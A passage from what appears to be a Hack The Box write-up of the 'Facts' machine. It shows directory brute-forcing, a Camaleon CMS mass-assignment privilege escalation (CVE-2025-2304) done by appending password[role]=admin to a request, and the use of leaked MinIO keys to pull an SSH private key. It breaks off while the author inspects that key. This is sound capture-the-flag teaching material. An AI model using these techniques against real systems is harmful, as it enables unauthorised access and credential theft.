</span><span class="feroxbuster-green">200</span><span class="go">      GET      114l      574w     7918c http://facts.htb/500
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/external%20files
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%7D
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Style%20Library
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~joe
</span><span class="feroxbuster-green">200</span><span class="go">      GET      114l      532w     6685c http://facts.htb/400
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/modern%20mom
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/neuf%20giga%20photo
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%E2%80%8E
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/[
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/plain]
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/fixed!
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Anv%C3%A4ndare
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/!ut
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/!
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Web%20References
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/My%20Project
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/]
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~chris
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Contact%20Us
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~a
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~admin
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~site
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%D7%99%D7%9D
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/!_archives
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/!_images
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/!backup
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/!images
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/!res
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/!textove_diskuse
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Donate%20Cash
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Home%20Page
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Planned%20Giving
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Press%20Releases
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Privacy%20Policy
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Site%20Map
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~images
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~mike
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~r
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~sys~
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%E9%99%A4%E5%80%99%E9%80%89
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%E9%99%A4%E6%8A%95%E7%A5%A8
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%E4%BE%B5%E6%9D%83
</span><span class="feroxbuster-green">200</span><span class="go">      GET      114l      602w     8380c http://facts.htb/422
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/quote]
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/!old
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/!upload
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/About%20Us
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Bequest%20Gift
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Dirk-M%C3%BCller
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Thomas-Sch%C3%B6ll
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Gift%20Form
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Life%20Income%20Gift
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/New%20Folder
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Site%20Assets
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/What%20is%20New
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/a0%7D
</span><span class="feroxbuster-red">404</span><span class="go">      GET        1l        3w       14c http://facts.htb/cable
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/error%1F_log
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/extension]
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~blog
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~alex
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~chat
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~css
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~eric
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~forum
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~gary
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~home
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~js
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~liam
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~mark
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~tmp
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%C4%BC
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%CC%A8%C4%BC
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%C5%B1%C4%BC
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%C4%A3%C4%BC
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%DD%BF%C4%BC
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%E2%80%9D
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%E7%89%B9%E6%AE%8A
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/%E8%AE%A8%E8%AE%BA
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/[0-9]
[</span><span class="feroxbuster-yellow">####################</span><span class="go">] - 34m    60030/60030   0s      </span><span class="feroxbuster-green">found</span><span class="go">:112     </span><span class="feroxbuster-red">errors</span><span class="go">:770
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 34m    30000/30000   15/s    http://facts.htb/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 2m     30000/30000   296/s   http://facts.htb/randomfacts/ 
</span></code></pre></div></div>

<p>The most interesting find is <code class="language-plaintext highlighter-rouge">/admin</code>.</p>

<h4 id="admin-panel">Admin Panel</h4>

<p>Visiting presents a login page:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528205134063.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528205134063.png" alt="image-20260528205134063" class="include_image " />
</picture>

<p>The page source shows references to <a href="https://github.com/owen2345/camaleon-cms">Camaleon CMS</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528205236869.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528205236869.png" alt="image-20260528205236869" class="include_image " />
</picture>

<p>I’ll click the “Create an account” link:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528205412379.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528205412379.png" alt="image-20260528205412379" class="include_image " />
</picture>

<p>On submitting, it redirects back to the login with a message saying my account was created, and I’ll login:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528205740472.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528205740472.png" alt="image-20260528205740472" class="include_image " />
</picture>

<p>It doesn’t give access to any admin features, but it confirms it’s Camaleon and the version is 2.9.0.</p>

<p>I can access my user profile via the menu at the top right.</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530065937827.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530065937827.png" alt="image-20260530065937827" class="include_image " />
</picture>

<p>The “Role” field is interesting. I can’t click on it because it’s disabled in the HTML:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530070337136.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530070337136.png" alt="image-20260530070337136" class="include_image " />
</picture>

<p>I can edit that HTML in the dev tools to remove the <code class="language-plaintext highlighter-rouge">disabled="disabled"</code>, and it becomes active on the page:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530070423021.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530070423021.png" alt="image-20260530070423021" class="include_image " />
</picture>

<p>I’ll change it to Administrator and it shows up in the POST body (seen here in Burp Proxy):</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530070607833.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530070607833.png" alt="image-20260530070607833" class="include_image " />
</picture>

<p>Unfortunately, nothing changes on the page return. There must be server-side validation happening.</p>

<h3 id="minio---tcp-54321">MinIO - TCP 54321</h3>

<p>Visiting <code class="language-plaintext highlighter-rouge">/</code> returns a 307 redirect to port 9001:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">307</span> <span class="ne">Temporary Redirect</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Location</span><span class="p">:</span> <span class="s">http://facts.htb:9001</span>
<span class="na">Strict-Transport-Security</span><span class="p">:</span> <span class="s">max-age=31536000; includeSubDomains</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">Origin</span>
<span class="na">X-Amz-Id-2</span><span class="p">:</span> <span class="s">dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</span>
<span class="na">X-Amz-Request-Id</span><span class="p">:</span> <span class="s">18B3C019B4AABD5C</span>
<span class="na">X-Content-Type-Options</span><span class="p">:</span> <span class="s">nosniff</span>
<span class="na">X-Xss-Protection</span><span class="p">:</span> <span class="s">1; mode=block</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 28 May 2026 14:11:34 GMT</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">57</span>
</code></pre></div></div>

<p>It has the Amz headers, which are Amazon S3 fingerprints. Given HTB machines don’t have internet access, this is almost certainly some local version, like OpenStack or MinIO. Visiting <code class="language-plaintext highlighter-rouge">/0xdf</code> to look for a 404 page shows the result:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528211204194.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528211204194.png" alt="image-20260528211204194" class="include_image " />
</picture>

<p>The headers show the <code class="language-plaintext highlighter-rouge">Server</code> is <a href="https://min.io/">MinIO</a>:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">400</span> <span class="ne">Bad Request</span>
<span class="na">Accept-Ranges</span><span class="p">:</span> <span class="s">bytes</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">281</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/xml</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">MinIO</span>
<span class="na">Strict-Transport-Security</span><span class="p">:</span> <span class="s">max-age=31536000; includeSubDomains</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">Origin</span>
<span class="na">X-Amz-Id-2</span><span class="p">:</span> <span class="s">dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</span>
<span class="na">X-Amz-Request-Id</span><span class="p">:</span> <span class="s">18B3E41319D2C671</span>
<span class="na">X-Content-Type-Options</span><span class="p">:</span> <span class="s">nosniff</span>
<span class="na">X-Xss-Protection</span><span class="p">:</span> <span class="s">1; mode=block</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Fri, 29 May 2026 01:10:48 GMT</span>

<span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;Error&gt;&lt;Code&gt;</span>InvalidBucketName<span class="nt">&lt;/Code&gt;&lt;Message&gt;</span>The specified bucket is not valid.<span class="nt">&lt;/Message&gt;&lt;Resource&gt;</span>/v1<span class="nt">&lt;/Resource&gt;&lt;RequestId&gt;</span>18B3E41319D2C671<span class="nt">&lt;/RequestId&gt;&lt;HostId&gt;</span>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8<span class="nt">&lt;/HostId&gt;&lt;/Error&gt;</span>
</code></pre></div></div>

<p><a href="https://min.io/">MinIO</a> is an open-source, S3-compatible object storage server written in Go. It speaks the same HTTP API as Amazon S3 (including the same XML error bodies and <code class="language-plaintext highlighter-rouge">x-amz-*</code> response headers). It’s commonly self-hosted as a drop-in S3 backend for apps that want to store assets, backups, or uploads without depending on AWS. It ships with a web console on TCP 9001 (which explains the redirect on <code class="language-plaintext highlighter-rouge">:54321/</code> to <code class="language-plaintext highlighter-rouge">:9001</code>) for managing buckets, users, and policies.</p>

<h2 id="shell-as-trivia">Shell as trivia</h2>

<h3 id="minio-authentication">MinIO Authentication</h3>

<h4 id="identify-cve">Identify CVE</h4>

<p><a href="https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0">Camaleon 2.9.0</a> was released on GitHub on 6 Jan 2025:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260529092615776.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260529092615776.png" alt="image-20260529092615776" class="include_image " />
</picture>

<p>Just over two months later, <a href="https://github.com/owen2345/camaleon-cms/releases/tag/2.9.1">2.9.1 released</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260529092648942.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260529092648942.png" alt="image-20260529092648942" class="include_image " />
</picture>

<p>There are two critical security bugs:</p>

<ol>
  <li>There’s a mass assignment privesc vulnerability.</li>
  <li>XSS attacks in fields, comments, and metas.</li>
</ol>

<p>The first one is the more interesting one, and it’s <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-2304">CVE-2025-2304</a>. There’s actually another CVE that wasn’t public at the time of Facts’ release. I’ll look at CVE-2024-46987 / CVE-2026-1776 in <a href="#beyond-root---alternative-foothold">Beyond Root</a>.</p>

<h4 id="cve-2025-2304-background">CVE-2025-2304 Background</h4>

<p>NIST describes <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-2304">CVE-2025-2304</a> as:</p>

<blockquote>
  <p>A Privilege Escalation through a Mass Assignment exists in Camaleon CMS When a user wishes to change his password, the ‘updated_ajax’ method of the UsersController is called. The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering.</p>
</blockquote>

<p>This vulnerability was originally <a href="https://www.tenable.com/security/research/tra-2025-09">reported by Tenable</a>. Their writeup doesn’t give a ton of info, but does have the vulnerable code:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">updated_ajax</span>
  <span class="vi">@user</span> <span class="o">=</span> <span class="n">current_site</span><span class="p">.</span><span class="nf">users</span><span class="p">.</span><span class="nf">find</span><span class="p">(</span><span class="n">params</span><span class="p">[</span><span class="ss">:user_id</span><span class="p">])</span>
  <span class="n">update_session</span> <span class="o">=</span> <span class="n">current_user_is?</span><span class="p">(</span><span class="vi">@user</span><span class="p">)</span>

  <span class="vi">@user</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">params</span><span class="p">.</span><span class="nf">require</span><span class="p">(</span><span class="ss">:password</span><span class="p">).</span><span class="nf">permit!</span><span class="p">)</span>
  <span class="n">render</span> <span class="ss">inline: </span><span class="vi">@user</span><span class="p">.</span><span class="nf">errors</span><span class="p">.</span><span class="nf">full_messages</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="s1">', '</span><span class="p">)</span>

  <span class="c1"># keep user logged in when changing their own password</span>
  <span class="n">update_auth_token_in_cookie</span> <span class="vi">@user</span><span class="p">.</span><span class="nf">auth_token</span> <span class="k">if</span> <span class="n">update_session</span> <span class="o">&amp;&amp;</span> <span class="vi">@user</span><span class="p">.</span><span class="nf">saved_change_to_password_digest?</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">.permit!</code> method allows all parameters to pass through without filtering.</p>

<h4 id="exploit">Exploit</h4>

<p>All of the requests involving the user use this <code class="language-plaintext highlighter-rouge">user[&lt;field&gt;]</code> structure in POST requests. The body on a login looks like:</p>

<div class="language-plaintext wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code>authenticity_token=PYE9ch3BeagDhFEpkOCvUkbjbpun6zj5mf0uwUHdi-hgb5MdiGWFFbsN5jfYzVH3D0mX9t7XPQh2LIWse9-1dQ&amp;user%5Busername%5D=0xdf&amp;user%5Bpassword%5D=0xdf
</code></pre></div></div>

<p>Which URL-decodes to:</p>

<div class="language-plaintext wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code>authenticity_token=PYE9ch3BeagDhFEpkOCvUkbjbpun6zj5mf0uwUHdi-hgb5MdiGWFFbsN5jfYzVH3D0mX9t7XPQh2LIWse9-1dQ&amp;user[username]=0xdf&amp;user[password]=0xdf
</code></pre></div></div>

<p>This same pattern is in the profile update, where I tried (and failed) to update my role. That request does show how I would set a user’s role to administrator. The <code class="language-plaintext highlighter-rouge">authentication_token</code> looks like another Ruby-encrypted blob.</p>

<p>The mass assignment vulnerability is in the <code class="language-plaintext highlighter-rouge">updated_ajax</code> according to the vulnerability. The source also shows that the <code class="language-plaintext highlighter-rouge">password</code> parameter is required, which makes sense that it would be the password update function. When I check Burp for the HTTP POST request for that action, it matches (URL-decoded here for readability):</p>

<div class="language-http wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/admin/users/5/updated_ajax</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">facts.htb</span>
<span class="s">...[snip]...</span>

_method=patch&amp;authenticity_token=wluEPR6dBpl1Zk3IKgHoEduQyOcOlO97M1Lznq7vYR8ifkDQDARN9yrvSoj7v1NM6d8kYnfFarLk80U0eHplyQ&amp;password[password]=qwe&amp;password[password_confirmation]=qwe
</code></pre></div></div>

<p>In the source, the line <code class="language-plaintext highlighter-rouge">@user.update(params.require(:password).permit!)</code> says get the <code class="language-plaintext highlighter-rouge">password</code> object from the parameters and apply all its fields to the <code class="language-plaintext highlighter-rouge">user</code> object. So if I add <code class="language-plaintext highlighter-rouge">password[role]=admin</code>, that will apply to my account. I’ll turn on intercept in Burp Proxy, send a password change request, and add that to the end of the body:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530072254151.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530072254151.png" alt="image-20260530072254151" class="include_image " />
</picture>

<p>After I let that continue, on refreshing my browser, there’s a lot more in the menu bar:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530072326198.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530072326198.png" alt="image-20260530072326198" class="include_image " />
</picture>

<h4 id="admin-enumeration">Admin Enumeration</h4>

<p>Digging around in the admin pages, a lot of the pages are mostly empty. However, under Settings –&gt; General Site –&gt; Filesystem Settings, the site is configured to use AWS for storage:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530101846992.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260530101846992.png" alt="image-20260530101846992" class="include_image " />
</picture>

<p>It lists the connection information to manage AWS, pointing at MinIO on 54321, and providing auth.</p>

<h3 id="ssh-access">SSH Access</h3>

<h4 id="minio-enumeration">MinIO Enumeration</h4>

<p>I’ll use the AWScli (<code class="language-plaintext highlighter-rouge">uv tool install awscli</code>) to enumerate the buckets on MinIO. I’ll create a profile using the auth from the CMS admin panel:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>aws configure <span class="nt">--profile</span> facts.htb
<span class="go">AWS Access Key ID [None]: AKIA3ADAF4DE0BB0FAA2
AWS Secret Access Key [None]: h4ORDGfkO/GT7pfj/r5Wc9Xa4Girqz59RHABlM4I
Default region name [None]: us-east-1
Default output format [None]: json
</span></code></pre></div></div>

<p>Now I can list the buckets:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>aws s3 <span class="nb">ls</span> <span class="nt">--profile</span> facts.htb <span class="nt">--endpoint-url</span> http://facts.htb:54321
<span class="go">2025-09-11 12:06:52 internal
2025-09-11 12:06:52 randomfacts
</span></code></pre></div></div>

<p>I can also add the endpoint URL to the profile:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>aws configure <span class="nb">set </span>endpoint_url http://facts.htb:54321 <span class="nt">--profile</span> facts.htb
<span class="gp">oxdf@hacky$</span><span class="w"> </span>aws s3 <span class="nb">ls</span> <span class="nt">--profile</span> facts.htb 
<span class="go">2025-09-11 12:06:52 internal
2025-09-11 12:06:52 randomfacts
</span></code></pre></div></div>

<p>I can also save the profile in an environment variable:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">export </span><span class="nv">AWS_PROFILE</span><span class="o">=</span>facts.htb
<span class="gp">oxdf@hacky$</span><span class="w"> </span>aws s3 <span class="nb">ls</span> 
<span class="go">2025-09-11 12:06:52 internal
2025-09-11 12:06:52 randomfacts
</span></code></pre></div></div>

<p>There are two buckets.</p>

<p>The <code class="language-plaintext highlighter-rouge">randomfacts</code> bucket has the same images from the website:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>aws s3 <span class="nb">ls </span>randomfacts
<span class="go">                           PRE private/
                           PRE thumb/
2026-05-30 10:59:56      49946 0xdf.png
2025-09-11 12:07:06     446847 animalejected.png
2025-09-11 12:07:06     271210 annefrankasteroid.png
2025-09-11 12:07:06     255778 catsattachment.png
2025-09-11 12:07:05     411597 cuteanimals.png
2025-09-11 12:07:05     177331 darkchocolate.png
2025-09-11 12:07:05     312753 dogscatssmell.png
2025-09-11 12:07:04     922561 dolphinfact.png
2025-09-11 12:07:04      67352 finlandhappiest.png
2025-09-11 12:07:04     388178 firstimpressions.png
2025-09-11 12:07:04     100689 firsttransaction.png
2025-09-11 12:07:03     222436 firstwebcam.png
2025-09-11 12:07:03     128158 georgewashingtonslaves.png
2025-09-11 12:07:03      34816 logopage.png
2025-09-11 12:07:03      16886 logopage2.png
2025-09-11 12:07:02      80796 pressureupbeat.png
2025-09-11 12:07:02      24792 primary-question-mark.png
2025-09-11 12:07:02     341284 smallanimals.png
2025-09-11 12:07:02     332397 superiorpeople.png
2025-09-11 12:07:01      39579 vanilla.png
2025-09-11 12:07:01      35769 youtubewatchhours.png
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">internal</code> is much more interesting, looking like a home directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>aws s3 <span class="nb">ls </span>internal
<span class="go">                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 18:45:13        220 .bash_logout
2026-01-08 18:45:13       3900 .bashrc
2026-01-08 18:47:17         20 .lesshst
2026-01-08 18:47:17        807 .profile
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">.ssh</code> has a private key:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>aws s3 <span class="nb">ls </span>internal/.ssh/
<span class="go">2026-05-28 01:18:01         82 authorized_keys
2026-05-28 01:18:01        464 id_ed25519
</span></code></pre></div></div>

<p>I’ll grab a copy:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>aws s3 <span class="nb">cp </span>s3://internal/.ssh/id_ed25519 id_ed25519
<span class="go">download: s3://internal/.ssh/id_ed25519 to ./id_ed25519 
</span></code></pre></div></div>

<h4 id="ssh-key-enumeration">SSH Key Enumeration</h4>

<p>With a typical SSH key, I can see the user by decoding the base64 and looking at the strings:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat</span> ~/.ssh/id_ed25519 | <span class="nb">grep</span> <span class="nt">-v</span> PRIVATE | <span class="nb">base64</span> <span class="nt">-d</span> | strings
<span class="go">openssh-key-v1
none
none
ssh-ed25519
ssh-ed25519
oxdf@hacky
</span></code></pre></div></div>

<p>I can also see this using <code class="language-plaintext highlighter-rouge">ssh-keygen</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh-keygen <span class="nt">-yf</span> ~/.ssh/id_ed25519
<span class="go">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPkyAYfMjgZfvFS68umG7+s40x+4Vxit2DpvhmoWJGAw oxdf@hacky
</span></code></pre></div></div>

<p>This key is different:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat</span> ./id_ed25519 | <span class="nb">grep</span> <span class="nt">-v</span> PRIVATE | <span class="nb">base64</span> <span class="nt">-d</span> | strings
<span class="go">openssh-key-v1
aes256-ctr
bcrypt
ssh-ed25519
:l3'
2r'V
q^px
_Ovo
O^L8
</span></code></pre></div></div>

<p>“aes256-ctr” is a signal that it’s encrypted. <code class="language-plaintext highlighter-rouge">ssh-keygen</code> confirms:</p>

